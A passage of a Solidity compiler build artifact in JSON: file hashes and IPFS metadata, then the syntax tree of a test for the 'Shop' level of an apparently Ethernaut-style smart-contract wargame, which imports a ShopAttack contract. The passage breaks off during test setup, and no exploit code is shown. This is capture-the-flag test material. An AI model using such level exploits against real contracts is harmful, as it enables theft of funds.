Apache-2.0"},"lib/forge-std/src/console.sol":{"keccak256":"0x91d5413c2434ca58fd278b6e1e79fd98d10c83931cc2596a6038eee4daeb34ba","urls":["bzz-raw://91ccea707361e48b9b7a161fe81f496b9932bc471e9c4e4e1e9c283f2453cc70","dweb:/ipfs/QmcB66sZhQ6Kz7MUHcLE78YXRUZxoZnnxZjN6yATsbB2ec"],"license":"MIT"},"lib/forge-std/src/console2.sol":{"keccak256":"0x954646445d1014c3cd85c7918f5e7adeeca5ee44b68c00bafa237e597a4e35ea","urls":["bzz-raw://516fa3be52da4763147175bfba4be0aa011fadbb0c1afb01f97265bd4cee7973","dweb:/ipfs/QmdixAyMJefx7qePChgdxcBH5MxhmN7vsqPuPLx3CgrVmF"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC165.sol":{"keccak256":"0x414b2861b1acbf816ccb7346d3f16cf6c1e002e9e5e40d2f1f26fa5ddc2ea600","urls":["bzz-raw://698352fb240868ea8f1d1fe389993035eeab930f10d06934f80ccfb2b6ccbfbc","dweb:/ipfs/QmT6WLHAgXxFhh12kWym895oTzXid1326iZiwT3pyfggoT"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC20.sol":{"keccak256":"0x4cab887298790f908c27de107e4e2907ca5413aee482ef776f8d2f353c5ef947","urls":["bzz-raw://bb715e0c4a2bdbe432bb624501506041f06e878e0b72675aebba30ad2c2b72e7","dweb:/ipfs/QmWhhLSvkxS2NrukJJHqFY8gDVE5r9rD4PfHvR24pwdKv9"],"license":"MIT"},"lib/forge-std/src/interfaces/IERC721.sol":{"keccak256":"0xf069262a264fdb69f8f37a10d2df7374649e9ba73f8414c9c8a3b51184625f15","urls":["bzz-raw://924a41ca82a68ffbd503a5faf2f76d13e9938f10501a71094716f12bb64b4b7f","dweb:/ipfs/QmdWnqfKc5ZGhmxNPTde4zrFchnv9Yk9MpCMb2rdhXE5gm"],"license":"MIT"},"lib/forge-std/src/interfaces/IMulticall3.sol":{"keccak256":"0x7aac1389150499a922d1f9ef5749c908cef127cb2075b92fa17e9cb611263d0a","urls":["bzz-raw://d95ebb7c7c463e08ebc12dab639945752fb2480acfc6e86da32f72732a7fd0c0","dweb:/ipfs/QmNXK8P8oPWwajsQHvAHw3JPyQidPLCGQN3hWu1Lk6PBL2"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC20.sol":{"keccak256":"0xadbdfc6639edec00ba94bb1133a0fd8de31ccafe45c2ef5df9b3ca61b60b559b","urls":["bzz-raw://bc766f01bccf669abac8cc7b2096cc1352a66471ca3772ae61b1801dedc4ed4f","dweb:/ipfs/QmNigaPj1LYkP7Z5xr4ijkUxr2K66fDGeoifG3WoM9ruyw"],"license":"MIT"},"lib/forge-std/src/mocks/MockERC721.sol":{"keccak256":"0x3293dcbb7acd28df553c954e4e39e288bf10aab7ecda8d50ef21b4f4a91a28d9","urls":["bzz-raw://9eb374daf6df34f4392f8926f1fddbce9f22c423066aeaefdfbe77395f77967b","dweb:/ipfs/QmWR81zBJRX2uyRjveGzikYPj6ZwKppWsU49YEQXTLWUsN"],"license":"MIT"},"lib/forge-std/src/safeconsole.sol":{"keccak256":"0xbaf41fdc6c54297e7cd8250e48b0f20eaac918e342a1028cef3f9a52ac086381","urls":["bzz-raw://a500ad81dea226f9910e6b50f99a9ff930105e393a692cbfb2185e4cdb4424ae","dweb:/ipfs/QmVbUQpXNMmMWRiy4FvBNczzq46BMGfUoBikvSHNiCxVTq"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/access/Ownable.sol":{"keccak256":"0xa94b34880e3c1b0b931662cb1c09e5dfa6662f31cba80e07c5ee71cd135c9673","urls":["bzz-raw://40fb1b5102468f783961d0af743f91b9980cf66b50d1d12009f6bb1869cea4d2","dweb:/ipfs/QmYqEbJML4jB1GHbzD4cUZDtJg5wVwNm3vDJq1GbyDus8y"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/interfaces/draft-IERC1822.sol":{"keccak256":"0x1d4afe6cb24200cc4545eed814ecf5847277dfe5d613a1707aad5fceecebcfff","urls":["bzz-raw://383fb7b8181016ac5ccf07bc9cdb7c1b5045ea36e2cc4df52bcbf20396fc7688","dweb:/ipfs/QmYJ7Cg4WmE3rR8KGQxjUCXFfTH6TcwZ2Z1f6tPrq7jHFr"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Proxy.sol":{"keccak256":"0xa2b22da3032e50b55f95ec1d13336102d675f341167aa76db571ef7f8bb7975d","urls":["bzz-raw://96b6d77a20bebd4eb06b801d3d020c7e82be13bd535cb0d0a6b7181c51dab5d5","dweb:/ipfs/QmPUR9Cv9jNFdQX6PtBfaBW1ZCnKwiu65R2VD5kbdanDyn"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/ERC1967/ERC1967Upgrade.sol":{"keccak256":"0xabf3f59bc0e5423eae45e459dbe92e7052c6983628d39008590edc852a62f94a","urls":["bzz-raw://89c2a0f70157c13845be5cb49b078a6374fee3a78fa950052a3af26190255da8","dweb:/ipfs/QmUcvMEQH1oMM2pUyMuDiBUKdvvnTz1NRB8bmPHrVq8725"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/Proxy.sol":{"keccak256":"0xc130fe33f1b2132158531a87734153293f6d07bc263ff4ac90e85da9c82c0e27","urls":["bzz-raw://8831721b6f4cc26534d190f9f1631c3f59c9ff38efdd911f85e0882b8e360472","dweb:/ipfs/QmQZnLErZNStirSQ13ZNWQgvEYUtGE5tXYwn4QUPaVUfPN"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/beacon/IBeacon.sol":{"keccak256":"0xd50a3421ac379ccb1be435fa646d66a65c986b4924f0849839f08692f39dde61","urls":["bzz-raw://ada1e030c0231db8d143b44ce92b4d1158eedb087880cad6d8cc7bd7ebe7b354","dweb:/ipfs/QmWZ2NHZweRpz1U9GF6R1h65ri76dnX7fNxLBeM2t5N5Ce"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/proxy/transparent/TransparentUpgradeableProxy.sol":{"keccak256":"0xa6a787e7a901af6511e19aa53e1a00352db215a011d2c7a438d0582dd5da76f9","urls":["bzz-raw://a6c4477d480bac20d681ade0e712b77ad828acf530a1d5c0abc5fb78068a05a1","dweb:/ipfs/QmdBqsK8CcUceTeWzhHwFDEvKMoHimwtV96Lbim7ZBtCb8"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Address.sol":{"keccak256":"0xd6153ce99bcdcce22b124f755e72553295be6abcd63804cfdffceb188b8bef10","urls":["bzz-raw://35c47bece3c03caaa07fab37dd2bb3413bfbca20db7bd9895024390e0a469487","dweb:/ipfs/QmPGWT2x3QHcKxqe6gRmAkdakhbaRgx3DLzcakHz5M4eXG"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/Context.sol":{"keccak256":"0xe2e337e6dde9ef6b680e07338c493ebea1b5fd09b43424112868e9cc1706bca7","urls":["bzz-raw://6df0ddf21ce9f58271bdfaa85cde98b200ef242a05a3f85c2bc10a8294800a92","dweb:/ipfs/QmRK2Y5Yc6BK7tGKkgsgn3aJEQGi5aakeSPZvS65PV8Xp3"],"license":"MIT"},"lib/openzeppelin-contracts-08/contracts/utils/StorageSlot.sol":{"keccak256":"0xd5c50c54bf02740ebd122ff06832546cb5fa84486d52695a9ccfd11666e0c81d","urls":["bzz-raw://39e096c60a6eb1c6a257122d515496bd92d0c6a693a8f07acb6aa4b1263e95d4","dweb:/ipfs/QmPs5trJBacCiSkezP6tpevapuRYWNY6mqSFzsMCJj7e6B"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/proxy/utils/Initializable.sol":{"keccak256":"0x89be10e757d242e9b18d5a32c9fbe2019f6d63052bbe46397a430a1d60d7f794","urls":["bzz-raw://f103ee2e4aecd37aac6ceefe670709cdd7613dee25fa2d4d9feaf7fc0aaa155e","dweb:/ipfs/QmRiNZLoJk5k3HPMYGPGjZFd2ke1ZxjhJZkM45Ec9GH9hv"],"license":"MIT"},"lib/openzeppelin-contracts-upgradeable/contracts/utils/AddressUpgradeable.sol":{"keccak256":"0x9c80f545915582e63fe206c6ce27cbe85a86fc10b9cd2a0e8c9488fb7c2ee422","urls":["bzz-raw://310136ad60820af4177a11a61d77a3686faf5fca4942b600e08fc940db38396b","dweb:/ipfs/QmbCzMNSTL7Zi7M4UCSqBrkHtp4jjxUnGbkneCZKdR1qeq"],"license":"MIT"},"src/Ethernaut.sol":{"keccak256":"0x01f9997fd51455eaa7b174c8386c934f7ea7354f173cd9187ed32685432654d0","urls":["bzz-raw://8d19eb22c9dc3f1d3766107d3edfbaedd96440668048479d7b207a359655e0e2","dweb:/ipfs/QmNjBSmd4qYyq2oAz7htXgTVzTVfLV24mv66J1Muz5i67v"],"license":"MIT"},"src/attacks/ShopAttack.sol":{"keccak256":"0xf2b179a07d508051858d64cefb99084b12abbc8b5e7c6960e288fc0394399c3f","urls":["bzz-raw://6814949dcfab56fbb10c65fd8423fe09805292b18421e66c92f2f5bee9db0068","dweb:/ipfs/Qmetff9RnpHx3gpvjW41Vt6WhyCrWS4J4LBB8pdzMrv2Ys"],"license":"MIT"},"src/levels/Shop.sol":{"keccak256":"0xd500cab3a2923fc2668d4cc3e42ad05c398fe338ba29f3761f5a44f98eb87db0","urls":["bzz-raw://a15d4d221500fb33d4f7f0da5d81f978f755cfc61bb71840063a9f64906c6337","dweb:/ipfs/QmRH8dNjPDvQe8Pbj1HWJqTSJnudrkmBZ9dWKSi7UozRtB"],"license":"MIT"},"src/levels/ShopFactory.sol":{"keccak256":"0x37c5a01016de624ea2590933c25a66c10166f2e81c289254da02f8f4c27eb412","urls":["bzz-raw://2b0624ff20a79be37544ee2bd9aef94ce8df9fed16059a43bb6504a8176dad29","dweb:/ipfs/Qma6iS87VETpgmQxUSiDukaiWeXpXzCvWrsbV6QT8Jm6WG"],"license":"MIT"},"src/levels/base/Level.sol":{"keccak256":"0x23e8a2c9454707c888fc4dc4cc44d89e5928e8d58a1f9c8f5c16c36697aadfdf","urls":["bzz-raw://693402ec163e362b086874db09be2d1d11111276f70100bf9192a0fb3f5d9ccd","dweb:/ipfs/QmSsygUUkJHRh13rGUQ4BrMTnzmPQKrRsBABS4Yk11kfAA"],"license":"MIT"},"src/metrics/Statistics.sol":{"keccak256":"0x5484f46a7d8eaf3af521657b6622e28e4830bf62bbc8b7d43524461d4f6d3aca","urls":["bzz-raw://bb81e25a880f2fdb59a6950bac19dc3ebc9aaddafed613ee4c43a5e630ea36b5","dweb:/ipfs/QmXXTsXhMFBS9KtbqonTnSyRpiYtyMpS5EpJnCRU5EoUUf"],"license":"MIT"},"src/proxy/ProxyStats.sol":{"keccak256":"0x2f7e0594da4e2eac4d49b83ec2bb702e01ae9c3efab2cb5fd56efc8793d109be","urls":["bzz-raw://9d16c8ba4af0a29e260df788252370b5e64c3d35691542164d2c084745ee55a2","dweb:/ipfs/QmXD8kxy5UAWSeawQGEzeXFFpZEDSTyrQT51YmHYg27AgS"],"license":"MIT"},"test/levels/Shop.t.sol":{"keccak256":"0x04825ebe00cb40770bc060ad8eecfe1cc127491f3fa029c150ed6f761ea54de2","urls":["bzz-raw://0fbe352f7cff010f5aeda84b491e5f1bd9877e28ac32571ddf7a5c8b5c732886","dweb:/ipfs/QmZ125MgGkDGgXbbNVo7asPWTRhXXqKJkwJKytNUMTRVZW"],"license":"MIT"},"test/utils/Utils.sol":{"keccak256":"0x4692fd15f85d17daf46d58fc58215e61ff0cc51ffe789605d2e9e56bdbfc8307","urls":["bzz-raw://2d610d54bfcb2a7907d01c086804a8f1c5834041683bc3123d2aa1a32d785998","dweb:/ipfs/QmTMPYbzgh5Fa1gYhn6XtvAe8FtPQJt7cXxsxmbggquE97"],"license":"MIT"}},"version":1},"ast":{"absolutePath":"test/levels/Shop.t.sol","id":64296,"exportedSymbols":{"Ethernaut":[49101],"Level":[55508],"Shop":[55081],"ShopAttack":[49804],"ShopFactory":[55136],"StdAssertions":[2695],"StdChains":[3477],"StdCheats":[6330],"StdInvariant":[6655],"StdStorage":[7427],"StdStyle":[10597],"StdUtils":[11975],"Test":[12027],"TestBase":[65],"TestShop":[64295],"Utils":[66673],"Vm":[15673],"console":[23737],"console2":[31862],"safeconsole":[46587],"stdError":[6396],"stdJson":[7247],"stdMath":[7389],"stdStorage":[9386],"stdToml":[11189]},"nodeType":"SourceUnit","src":"32:1926:146","nodes":[{"id":64109,"nodeType":"PragmaDirective","src":"32:23:146","nodes":[],"literals":["solidity","^","0.8",".0"]},{"id":64110,"nodeType":"ImportDirective","src":"57:28:146","nodes":[],"absolutePath":"lib/forge-std/src/Test.sol","file":"forge-std/Test.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":12028,"symbolAliases":[],"unitAlias":""},{"id":64112,"nodeType":"ImportDirective","src":"86:43:146","nodes":[],"absolutePath":"test/utils/Utils.sol","file":"test/utils/Utils.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":66674,"symbolAliases":[{"foreign":{"id":64111,"name":"Utils","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66673,"src":"94:5:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64114,"nodeType":"ImportDirective","src":"131:41:146","nodes":[],"absolutePath":"src/levels/Shop.sol","file":"src/levels/Shop.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":55082,"symbolAliases":[{"foreign":{"id":64113,"name":"Shop","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55081,"src":"139:4:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64116,"nodeType":"ImportDirective","src":"173:55:146","nodes":[],"absolutePath":"src/levels/ShopFactory.sol","file":"src/levels/ShopFactory.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":55137,"symbolAliases":[{"foreign":{"id":64115,"name":"ShopFactory","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55136,"src":"181:11:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64118,"nodeType":"ImportDirective","src":"229:54:146","nodes":[],"absolutePath":"src/attacks/ShopAttack.sol","file":"src/attacks/ShopAttack.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":49805,"symbolAliases":[{"foreign":{"id":64117,"name":"ShopAttack","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49804,"src":"237:10:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64120,"nodeType":"ImportDirective","src":"284:48:146","nodes":[],"absolutePath":"src/levels/base/Level.sol","file":"src/levels/base/Level.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":55509,"symbolAliases":[{"foreign":{"id":64119,"name":"Level","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":55508,"src":"292:5:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64122,"nodeType":"ImportDirective","src":"333:44:146","nodes":[],"absolutePath":"src/Ethernaut.sol","file":"src/Ethernaut.sol","nameLocation":"-1:-1:-1","scope":64296,"sourceUnit":49102,"symbolAliases":[{"foreign":{"id":64121,"name":"Ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":49101,"src":"341:9:146","typeDescriptions":{}},"nameLocation":"-1:-1:-1"}],"unitAlias":""},{"id":64295,"nodeType":"ContractDefinition","src":"379:1578:146","nodes":[{"id":64129,"nodeType":"VariableDeclaration","src":"418:19:146","nodes":[],"constant":false,"mutability":"mutable","name":"ethernaut","nameLocation":"428:9:146","scope":64295,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"},"typeName":{"id":64128,"nodeType":"UserDefinedTypeName","pathNode":{"id":64127,"name":"Ethernaut","nameLocations":["418:9:146"],"nodeType":"IdentifierPath","referencedDeclaration":49101,"src":"418:9:146"},"referencedDeclaration":49101,"src":"418:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"visibility":"internal"},{"id":64132,"nodeType":"VariableDeclaration","src":"443:13:146","nodes":[],"constant":false,"mutability":"mutable","name":"instance","nameLocation":"448:8:146","scope":64295,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"},"typeName":{"id":64131,"nodeType":"UserDefinedTypeName","pathNode":{"id":64130,"name":"Shop","nameLocations":["443:4:146"],"nodeType":"IdentifierPath","referencedDeclaration":55081,"src":"443:4:146"},"referencedDeclaration":55081,"src":"443:4:146","typeDescriptions":{"typeIdentifier":"t_contract$_Shop_$55081","typeString":"contract Shop"}},"visibility":"internal"},{"id":64134,"nodeType":"VariableDeclaration","src":"463:21:146","nodes":[],"constant":false,"mutability":"mutable","name":"owner","nameLocation":"479:5:146","scope":64295,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64133,"name":"address","nodeType":"ElementaryTypeName","src":"463:15:146","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64136,"nodeType":"VariableDeclaration","src":"490:22:146","nodes":[],"constant":false,"mutability":"mutable","name":"player","nameLocation":"506:6:146","scope":64295,"stateVariable":true,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"},"typeName":{"id":64135,"name":"address","nodeType":"ElementaryTypeName","src":"490:15:146","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"visibility":"internal"},{"id":64238,"nodeType":"FunctionDefinition","src":"699:590:146","nodes":[],"body":{"id":64237,"nodeType":"Block","src":"723:566:146","nodes":[],"statements":[{"assignments":[64141],"declarations":[{"constant":false,"id":64141,"mutability":"mutable","name":"users","nameLocation":"758:5:146","nodeType":"VariableDeclaration","scope":64237,"src":"733:30:146","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[]"},"typeName":{"baseType":{"id":64139,"name":"address","nodeType":"ElementaryTypeName","src":"733:15:146","stateMutability":"payable","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64140,"nodeType":"ArrayTypeName","src":"733:17:146","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_storage_ptr","typeString":"address payable[]"}},"visibility":"internal"}],"id":64145,"initialValue":{"arguments":[{"hexValue":"32","id":64143,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"778:1:146","typeDescriptions":{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"},"value":"2"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_rational_2_by_1","typeString":"int_const 2"}],"id":64142,"name":"createUsers","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66448,"src":"766:11:146","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_uint256_$returns$_t_array$_t_address_payable_$dyn_memory_ptr_$","typeString":"function (uint256) returns (address payable[] memory)"}},"id":64144,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"766:14:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"nodeType":"VariableDeclarationStatement","src":"733:47:146"},{"expression":{"id":64150,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64146,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64134,"src":"791:5:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64147,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64141,"src":"799:5:146","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64149,"indexExpression":{"hexValue":"30","id":64148,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"805:1:146","typeDescriptions":{"typeIdentifier":"t_rational_0_by_1","typeString":"int_const 0"},"value":"0"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"799:8:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"791:16:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64151,"nodeType":"ExpressionStatement","src":"791:16:146"},{"expression":{"arguments":[{"id":64155,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64134,"src":"826:5:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"4f776e6572","id":64156,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"833:7:146","typeDescriptions":{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""},"value":"Owner"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_929f3fd6848015f83b9210c89f7744e3941acae1195c8bf9f5798c090dc8f497","typeString":"literal_string \"Owner\""}],"expression":{"id":64152,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"817:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64154,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"820:5:146","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"817:8:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64157,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"817:24:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64158,"nodeType":"ExpressionStatement","src":"817:24:146"},{"expression":{"id":64163,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64159,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64136,"src":"852:6:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"baseExpression":{"id":64160,"name":"users","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64141,"src":"861:5:146","typeDescriptions":{"typeIdentifier":"t_array$_t_address_payable_$dyn_memory_ptr","typeString":"address payable[] memory"}},"id":64162,"indexExpression":{"hexValue":"31","id":64161,"isConstant":false,"isLValue":false,"isPure":true,"kind":"number","lValueRequested":false,"nodeType":"Literal","src":"867:1:146","typeDescriptions":{"typeIdentifier":"t_rational_1_by_1","typeString":"int_const 1"},"value":"1"},"isConstant":false,"isLValue":true,"isPure":false,"lValueRequested":false,"nodeType":"IndexAccess","src":"861:8:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"src":"852:17:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},"id":64164,"nodeType":"ExpressionStatement","src":"852:17:146"},{"expression":{"arguments":[{"id":64168,"name":"player","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64136,"src":"888:6:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}},{"hexValue":"506c61796572","id":64169,"isConstant":false,"isLValue":false,"isPure":true,"kind":"string","lValueRequested":false,"nodeType":"Literal","src":"896:8:146","typeDescriptions":{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""},"value":"Player"}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"},{"typeIdentifier":"t_stringliteral_3d926b0dd5f4880fb18c9a49c890c7d76c2a97e0d4b4c20f1bb3fe6e5f89f0f4","typeString":"literal_string \"Player\""}],"expression":{"id":64165,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"879:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64167,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"882:5:146","memberName":"label","nodeType":"MemberAccess","referencedDeclaration":15042,"src":"879:8:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$_t_string_memory_ptr_$returns$__$","typeString":"function (address,string memory) external"}},"id":64170,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"879:26:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64171,"nodeType":"ExpressionStatement","src":"879:26:146"},{"expression":{"arguments":[{"id":64175,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64134,"src":"930:5:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"expression":{"id":64172,"name":"vm","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":58,"src":"916:2:146","typeDescriptions":{"typeIdentifier":"t_contract$_Vm_$15673","typeString":"contract Vm"}},"id":64174,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"memberLocation":"919:10:146","memberName":"startPrank","nodeType":"MemberAccess","referencedDeclaration":15454,"src":"916:13:146","typeDescriptions":{"typeIdentifier":"t_function_external_nonpayable$_t_address_$returns$__$","typeString":"function (address) external"}},"id":64176,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"916:20:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_tuple$__$","typeString":"tuple()"}},"id":64177,"nodeType":"ExpressionStatement","src":"916:20:146"},{"expression":{"id":64182,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"leftHandSide":{"id":64178,"name":"ethernaut","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64129,"src":"946:9:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"nodeType":"Assignment","operator":"=","rightHandSide":{"arguments":[{"id":64180,"name":"owner","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":64134,"src":"985:5:146","typeDescriptions":{"typeIdentifier":"t_address_payable","typeString":"address payable"}}],"expression":{"argumentTypes":[{"typeIdentifier":"t_address_payable","typeString":"address payable"}],"id":64179,"name":"getEthernautWithStatsProxy","nodeType":"Identifier","overloadedDeclarations":[],"referencedDeclaration":66624,"src":"958:26:146","typeDescriptions":{"typeIdentifier":"t_function_internal_nonpayable$_t_address_$returns$_t_contract$_Ethernaut_$49101_$","typeString":"function (address) returns (contract Ethernaut)"}},"id":64181,"isConstant":false,"isLValue":false,"isPure":false,"kind":"functionCall","lValueRequested":false,"nameLocations":[],"names":[],"nodeType":"FunctionCall","src":"958:33:146","tryCall":false,"typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"src":"946:45:146","typeDescriptions":{"typeIdentifier":"t_contract$_Ethernaut_$49101","typeString":"contract Ethernaut"}},"id":64183,"nodeType":"ExpressionStatement","src":"946:45:146"},{"assignments":[64186],"declarations":[{"constant":false,"id":64186,"mutability":"mutable","name":"factory","nameLocation":"1013:7:146","nodeType":"VariableDeclaration","scope":64237,"src":"1001:19:146","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"},"typeName":{"id":64185,"nodeType":"UserDefinedTypeName","pathNode":{"id":64184,"name":"ShopFactory","nameLocations":["1001:11:146"],"nodeType":"IdentifierPath","referencedDeclaration":55136,"src":"1001:11:146"},"referencedDeclaration":55136,"src":"1001:11:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract ShopFactory"}},"visibility":"internal"}],"id":64191,"initialValue":{"arguments":[],"expression":{"argumentTypes":[],"id":64189,"isConstant":false,"isLValue":false,"isPure":false,"lValueRequested":false,"nodeType":"NewExpression","src":"1023:15:146","typeDescriptions":{"typeIdentifier":"t_function_creation_nonpayable$__$returns$_t_contract$_ShopFactory_$55136_$","typeString":"function () returns (contract ShopFactory)"},"typeName":{"id":64188,"nodeType":"UserDefinedTypeName","pathNode":{"id":64187,"name":"ShopFactory","nameLocations":["1027:11:146"],"nodeType":"IdentifierPath","referencedDeclaration":55136,"src":"1027:11:146"},"referencedDeclaration":55136,"src":"1027:11:146","typeDescriptions":{"typeIdentifier":"t_contract$_ShopFactory_$55136","typeString":"contract 